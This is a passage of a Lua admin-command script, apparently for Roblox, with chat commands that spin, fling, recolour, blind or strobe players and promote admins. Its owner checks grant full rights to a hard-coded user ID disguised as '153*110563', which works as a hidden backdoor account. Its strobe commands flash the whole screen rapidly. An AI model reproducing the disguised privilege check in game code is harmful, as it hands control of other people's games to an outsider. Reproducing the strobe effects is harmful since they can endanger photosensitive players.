  1644. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1645. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1646. until not bg or bg.Parent ~= torso
  1647. end
  1648. end))
  1649. end
  1650. end
  1651.  
  1652. if msg:lower():sub(1,7) == "unspin " then
  1653. local plrz = GetPlr(plr, msg:lower():sub(8))
  1654. for i, v in pairs(plrz) do
  1655. coroutine.resume(coroutine.create(function()
  1656. if v and v.Character and v.Character:findFirstChild("Torso") then
  1657. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1658. end
  1659. end))
  1660. end
  1661. end
  1662.  
  1663. if msg:lower():sub(1,4) == "dog " then
  1664. local plrz = GetPlr(plr, msg:lower():sub(5))
  1665. for i, v in pairs(plrz) do
  1666. coroutine.resume(coroutine.create(function()
  1667. if v and v.Character and v.Character:findFirstChild("Torso") then
  1668. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1669. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1670. v.Character.Torso.Transparency = 1
  1671. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1672. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1673. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1674. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1675. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1676. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1677. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1678. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1679. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1680. end
  1681. end))
  1682. end
  1683. end
  1684.  
  1685. if msg:lower():sub(1,6) == "undog " then
  1686. local plrz = GetPlr(plr, msg:lower():sub(7))
  1687. for i, v in pairs(plrz) do
  1688. coroutine.resume(coroutine.create(function()
  1689. if v and v.Character and v.Character:findFirstChild("Torso") then
  1690. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1691. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1692. v.Character.Torso.Transparency = 0
  1693. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1694. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1695. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1696. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1697. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1698. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1699. end
  1700. end))
  1701. end
  1702. end
  1703.  
  1704. if msg:lower():sub(1,8) == "creeper " then
  1705. local plrz = GetPlr(plr, msg:lower():sub(9))
  1706. for i, v in pairs(plrz) do
  1707. coroutine.resume(coroutine.create(function()
  1708. if v and v.Character and v.Character:findFirstChild("Torso") then
  1709. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1710. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1711. v.Character.Torso.Transparency = 0
  1712. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1713. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1714. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1715. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1716. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1717. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1718. end
  1719. end))
  1720. end
  1721. end
  1722.  
  1723. if msg:lower():sub(1,10) == "uncreeper " then
  1724. local plrz = GetPlr(plr, msg:lower():sub(11))
  1725. for i, v in pairs(plrz) do
  1726. coroutine.resume(coroutine.create(function()
  1727. if v and v.Character and v.Character:findFirstChild("Torso") then
  1728. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1729. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1730. v.Character.Torso.Transparency = 0
  1731. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1732. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1733. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1734. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1735. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1736. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1737. end
  1738. end))
  1739. end
  1740. end
  1741.  
  1742. if msg:lower():sub(1,8) == "bighead " then
  1743. local plrz = GetPlr(plr, msg:lower():sub(9))
  1744. for i, v in pairs(plrz) do
  1745. coroutine.resume(coroutine.create(function()
  1746. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1747. end))
  1748. end
  1749. end
  1750.  
  1751. if msg:lower():sub(1,9) == "minihead " then
  1752. local plrz = GetPlr(plr, msg:lower():sub(10))
  1753. for i, v in pairs(plrz) do
  1754. coroutine.resume(coroutine.create(function()
  1755. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1756. end))
  1757. end
  1758. end
  1759.  
  1760. if msg:lower():sub(1,6) == "fling " then
  1761. local plrz = GetPlr(plr, msg:lower():sub(7))
  1762. for i, v in pairs(plrz) do
  1763. coroutine.resume(coroutine.create(function()
  1764. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1765. local xran local zran
  1766. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1767. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1768. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1769. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1770. end
  1771. end))
  1772. end
  1773. end
  1774.  
  1775. if msg:lower():sub(1,8) == "seizure " then
  1776. local plrz = GetPlr(plr, msg:lower():sub(9))
  1777. for i, v in pairs(plrz) do
  1778. coroutine.resume(coroutine.create(function()
  1779. if v and v.Character then
  1780. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1781. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1782. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1783. end
  1784. end))
  1785. end
  1786. end
  1787.  
  1788. if msg:lower():sub(1,10) == "unseizure " then
  1789. local plrz = GetPlr(plr, msg:lower():sub(11))
  1790. for i, v in pairs(plrz) do
  1791. coroutine.resume(coroutine.create(function()
  1792. if v and v.Character then
  1793. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1794. wait(.1) v.Character.Humanoid.PlatformStand = false
  1795. end
  1796. end))
  1797. end
  1798. end
  1799.  
  1800. if msg:lower():sub(1,12) == "removelimbs " then
  1801. local plrz = GetPlr(plr, msg:lower():sub(13))
  1802. for i, v in pairs(plrz) do
  1803. coroutine.resume(coroutine.create(function()
  1804. if v and v.Character then
  1805. for a, obj in pairs(v.Character:children()) do
  1806. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1807. end
  1808. end
  1809. end))
  1810. end
  1811. end
  1812.  
  1813. if msg:lower():sub(1,5) == "name " then
  1814. local chk1 = msg:lower():sub(6):find(" ") + 5
  1815. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1816. for i, v in pairs(plrz) do
  1817. coroutine.resume(coroutine.create(function()
  1818. if v and v.Character and v.Character:findFirstChild("Head") then
  1819. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1820. local char = v.Character
  1821. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1822. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1823. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1824. char.Head.Transparency = 1
  1825. end
  1826. end))
  1827. end
  1828. end
  1829.  
  1830. if msg:lower():sub(1,7) == "unname " then
  1831. local plrz = GetPlr(plr, msg:lower():sub(8))
  1832. for i, v in pairs(plrz) do
  1833. coroutine.resume(coroutine.create(function()
  1834. if v and v.Character and v.Character:findFirstChild("Head") then
  1835. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1836. end
  1837. end))
  1838. end
  1839. end
  1840.  
  1841. if msg:lower():sub(1,5) == "char " then
  1842. local chk1 = msg:lower():sub(6):find(" ") + 5
  1843. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1844. for i, v in pairs(plrz) do
  1845. coroutine.resume(coroutine.create(function()
  1846. if v and v.Character then
  1847. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1848. v:LoadCharacter()
  1849. end
  1850. end))
  1851. end
  1852. end
  1853.  
  1854. if msg:lower():sub(1,7) == "unchar " then
  1855. local plrz = GetPlr(plr, msg:lower():sub(8))
  1856. for i, v in pairs(plrz) do
  1857. coroutine.resume(coroutine.create(function()
  1858. if v and v.Character then
  1859. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1860. v:LoadCharacter()
  1861. end
  1862. end))
  1863. end
  1864. end
  1865.  
  1866. if msg:lower():sub(1,7) == "infect " then
  1867. local plrz = GetPlr(plr, msg:lower():sub(8))
  1868. for i, v in pairs(plrz) do
  1869. coroutine.resume(coroutine.create(function()
  1870. if v and v.Character then
  1871. Infect(v.Character)
  1872. end
  1873. end))
  1874. end
  1875. end
  1876.  
  1877. if msg:lower():sub(1,11) == "rainbowify " then
  1878. local plrz = GetPlr(plr, msg:lower():sub(12))
  1879. for i, v in pairs(plrz) do
  1880. coroutine.resume(coroutine.create(function()
  1881. if v and v.Character and v.Character:findFirstChild("Torso") then
  1882. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1883. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1884. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1885. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1886. cl.Parent = v.Character cl.Disabled = false
  1887. end
  1888. end))
  1889. end
  1890. end
  1891.  
  1892. if msg:lower():sub(1,9) == "flashify " then
  1893. local plrz = GetPlr(plr, msg:lower():sub(10))
  1894. for i, v in pairs(plrz) do
  1895. coroutine.resume(coroutine.create(function()
  1896. if v and v.Character and v.Character:findFirstChild("Torso") then
  1897. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1898. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1899. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1900. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1901. cl.Parent = v.Character cl.Disabled = false
  1902. end
  1903. end))
  1904. end
  1905. end
  1906.  
  1907. if msg:lower():sub(1,8) == "noobify " then
  1908. local plrz = GetPlr(plr, msg:lower():sub(9))
  1909. for i, v in pairs(plrz) do
  1910. coroutine.resume(coroutine.create(function()
  1911. if v and v.Character then
  1912. Noobify(v.Character)
  1913. end
  1914. end))
  1915. end
  1916. end
  1917.  
  1918. if msg:lower():sub(1,9) == "ghostify " then
  1919. local plrz = GetPlr(plr, msg:lower():sub(10))
  1920. for i, v in pairs(plrz) do
  1921. coroutine.resume(coroutine.create(function()
  1922. if v and v.Character and v.Character:findFirstChild("Torso") then
  1923. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1924. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1925. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1926. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1927. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1928. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1929. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1930. end end
  1931. end
  1932. end))
  1933. end
  1934. end
  1935.  
  1936. if msg:lower():sub(1,8) == "goldify " then
  1937. local plrz = GetPlr(plr, msg:lower():sub(9))
  1938. for i, v in pairs(plrz) do
  1939. coroutine.resume(coroutine.create(function()
  1940. if v and v.Character and v.Character:findFirstChild("Torso") then
  1941. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1942. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1943. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1944. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1945. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1946. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1947. end end
  1948. end
  1949. end))
  1950. end
  1951. end
  1952.  
  1953. if msg:lower():sub(1,6) == "shiny " then
  1954. local plrz = GetPlr(plr, msg:lower():sub(7))
  1955. for i, v in pairs(plrz) do
  1956. coroutine.resume(coroutine.create(function()
  1957. if v and v.Character and v.Character:findFirstChild("Torso") then
  1958. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1959. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1960. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1961. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1962. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1963. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1964. end end
  1965. end
  1966. end))
  1967. end
  1968. end
  1969.  
  1970. if msg:lower():sub(1,7) == "normal " then
  1971. local plrz = GetPlr(plr, msg:lower():sub(8))
  1972. for i, v in pairs(plrz) do
  1973. coroutine.resume(coroutine.create(function()
  1974. if v and v.Character and v.Character:findFirstChild("Torso") then
  1975. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1976. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1977. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1978. v.Character.Torso.Transparency = 0
  1979. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1980. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1981. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1982. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1983. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1984. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1985. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1986. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1987. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1988. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1989. end end
  1990. end
  1991. end))
  1992. end
  1993. end
  1994.  
  1995. if msg:lower():sub(1,7) == "trippy " then
  1996. local plrz = GetPlr(plr, msg:lower():sub(8))
  1997. for i, v in pairs(plrz) do
  1998. coroutine.resume(coroutine.create(function()
  1999. if v and v:findFirstChild("PlayerGui") then
  2000. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2001. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2002. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2003. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2004. end
  2005. end))
  2006. end
  2007. end
  2008.  
  2009. if msg:lower():sub(1,9) == "untrippy " then
  2010. local plrz = GetPlr(plr, msg:lower():sub(10))
  2011. for i, v in pairs(plrz) do
  2012. coroutine.resume(coroutine.create(function()
  2013. if v and v:findFirstChild("PlayerGui") then
  2014. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2015. end
  2016. end))
  2017. end
  2018. end
  2019.  
  2020. if msg:lower():sub(1,7) == "strobe " then
  2021. local plrz = GetPlr(plr, msg:lower():sub(8))
  2022. for i, v in pairs(plrz) do
  2023. coroutine.resume(coroutine.create(function()
  2024. if v and v:findFirstChild("PlayerGui") then
  2025. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2026. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2027. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2028. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2029. end
  2030. end))
  2031. end
  2032. end
  2033.  
  2034. if msg:lower():sub(1,9) == "unstrobe " then
  2035. local plrz = GetPlr(plr, msg:lower():sub(10))
  2036. for i, v in pairs(plrz) do
  2037. coroutine.resume(coroutine.create(function()
  2038. if v and v:findFirstChild("PlayerGui") then
  2039. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2040. end
  2041. end))
  2042. end
  2043. end
  2044.  
  2045. if msg:lower():sub(1,6) == "blind " then
  2046. local plrz = GetPlr(plr, msg:lower():sub(7))
  2047. for i, v in pairs(plrz) do
  2048. coroutine.resume(coroutine.create(function()
  2049. if v and v:findFirstChild("PlayerGui") then
  2050. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2051. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2052. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2053. end
  2054. end))
  2055. end
  2056. end
  2057.  
  2058. if msg:lower():sub(1,8) == "unblind " then
  2059. local plrz = GetPlr(plr, msg:lower():sub(9))
  2060. for i, v in pairs(plrz) do
  2061. coroutine.resume(coroutine.create(function()
  2062. if v and v:findFirstChild("PlayerGui") then
  2063. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2064. end
  2065. end))
  2066. end
  2067. end
  2068.  
  2069. if msg:lower():sub(1,7) == "guifix " then
  2070. local plrz = GetPlr(plr, msg:lower():sub(8))
  2071. for i, v in pairs(plrz) do
  2072. coroutine.resume(coroutine.create(function()
  2073. if v and v:findFirstChild("PlayerGui") then
  2074. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2075. end
  2076. end))
  2077. end
  2078. end
  2079.  
  2080. if msg:lower():sub(1,9) == "loopheal " then
  2081. local plrz = GetPlr(plr, msg:lower():sub(10))
  2082. for i, v in pairs(plrz) do
  2083. if v then
  2084. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2085. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2086. repeat wait()
  2087. coroutine.resume(coroutine.create(function()
  2088. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2089. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2090. end
  2091. end))
  2092. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2093. end
  2094. end
  2095. end
  2096.  
  2097. if msg:lower():sub(1,11) == "unloopheal " then
  2098. local plrz = GetPlr(plr, msg:lower():sub(12))
  2099. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2100. end
  2101.  
  2102. if msg:lower():sub(1,10) == "loopfling " then
  2103. local plrz = GetPlr(plr, msg:lower():sub(11))
  2104. for i, v in pairs(plrz) do
  2105. if v then
  2106. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2107. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2108. repeat
  2109. coroutine.resume(coroutine.create(function()
  2110. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2111. local xran local zran
  2112. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2113. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2114. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2115. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2116. end
  2117. end))
  2118. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2119. end
  2120. end
  2121. end
  2122.  
  2123. if msg:lower():sub(1,12) == "unloopfling " then
  2124. local plrz = GetPlr(plr, msg:lower():sub(13))
  2125. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2126. end
  2127.  
  2128. end
  2129.  
  2130. -------------------------
  2131. -- True Owner Commands --
  2132. -------------------------
  2133.  
  2134. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2135.  
  2136. if msg:lower():sub(1,3) == "oa " then
  2137. local plrz = GetPlr(plr, msg:lower():sub(4))
  2138. for i, v in pairs(plrz) do
  2139. coroutine.resume(coroutine.create(function()
  2140. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2141. end))
  2142. end
  2143. end
  2144.  
  2145. if msg:lower():sub(1,5) == "unoa " then
  2146. for i = 1, #owners do
  2147. coroutine.resume(coroutine.create(function()
  2148. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2149. end))
  2150. end
  2151. end
  2152.  
  2153. end
  2154.  
  2155. --------------------
  2156. -- Owner Commands --
  2157. --------------------
  2158.  
  2159. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2160.  
  2161. if msg:lower():sub(1,3) == "pa " then
  2162. local plrz = GetPlr(plr, msg:lower():sub(4))
  2163. for i, v in pairs(plrz) do
  2164. coroutine.resume(coroutine.create(function()
  2165. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2166. end))
  2167. end
  2168. end
  2169.  
  2170. if msg:lower():sub(1,5) == "unpa " then
  2171. for i = 1, #admins do
  2172. coroutine.resume(coroutine.create(function()
  2173. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2174. end))
  2175. end
  2176. end
  2177.  
  2178. end
  2179.  
  2180. --------------------------
  2181. -- Super Admin Commands --
  2182. --------------------------
  2183.  
